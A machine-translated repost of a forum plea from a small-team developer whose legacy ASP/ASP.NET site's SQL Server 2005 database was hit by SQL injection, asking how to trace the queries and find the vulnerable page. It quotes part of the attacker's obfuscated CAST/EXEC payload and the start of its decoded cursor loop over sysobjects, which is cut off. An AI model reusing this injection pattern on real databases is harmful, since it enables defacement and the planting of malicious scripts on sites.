服务器 Gind.cn

服务器问题集锦,包括 Linux(Ubuntu, Centos,Debian等)和Windows Server服务器

帮帮我! 生产数据库是SQL注入!

可能重复: 我的服务器被黑了应急 Geeze,我很绝望! 几个小时前我们的生产数据库是SQL注入。 我知道我们在系统中有一些大的漏洞,因为我们inheritance了一个经典的ASP的网站,他的编程非常糟糕,没有安全感。 所以我们花了一些时间把它迁移到ASP.NET(第一个1.1,然后是2.0,现在是3.5)。 但是这是一个很大的项目,还有一些老的和不安全的代码。 我不会说谎,项目是一团糟,我讨厌它,但这是我们最重要的客户(我们只有2个年轻人,而不是一个大公司)。 所以我知道他们已经注入了一些js脚本引用到我的整个数据库……这可能是通过一个旧的页面使用连接的stringSQL查询,并直接扔到数据库(因为启动该项目的人说:“存储过程doesn不工作“…..所以他做了整个网站使用string连接,并直接扔到SQL没有做任何安全validation或任何东西。 当我们得到这个项目时,客户不想花时间重做那个老家伙的废话。 所以我们不得不导致蹩脚的和不安全的代码,并在开发新function时修复它,因为这是客户想要的…现在我们已经注入了sql,他们当然会变得疯狂。 所以…. **是否有任何方法来检查在过去的X小时内执行的旧的SQL查询? 就像SQL Profiler所做的那样(但当然我们没有在发生攻击时打开剖析器)? 有没有办法找出哪个页面是脆弱的? 请帮忙,有很多页面。 我不能手动search那些不知道哪一个是页面。 另外…可以有另一种方式,他们可以注入数据库? 像使用IIS请求或JS或什么?** 我有完整的远程桌面访问服务器的机器(它不是在托pipe环境),所以我可以访问每个文件,日志,无论在服务器上… 请帮忙! PS:对不起,我的英文不是很好,现在更糟的是我很紧张! 编辑 Windows 2003 Server SQL SERVER 2005 ASP .NET 3.5 他们正在投掷的脚本是以下 DECLARE @S NVARCHAR(4000);SET @S=CAST( AS NVARCHAR(4000));EXEC @S; 翻译成文本的是: DECLARE @T varchar(255), @C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects […]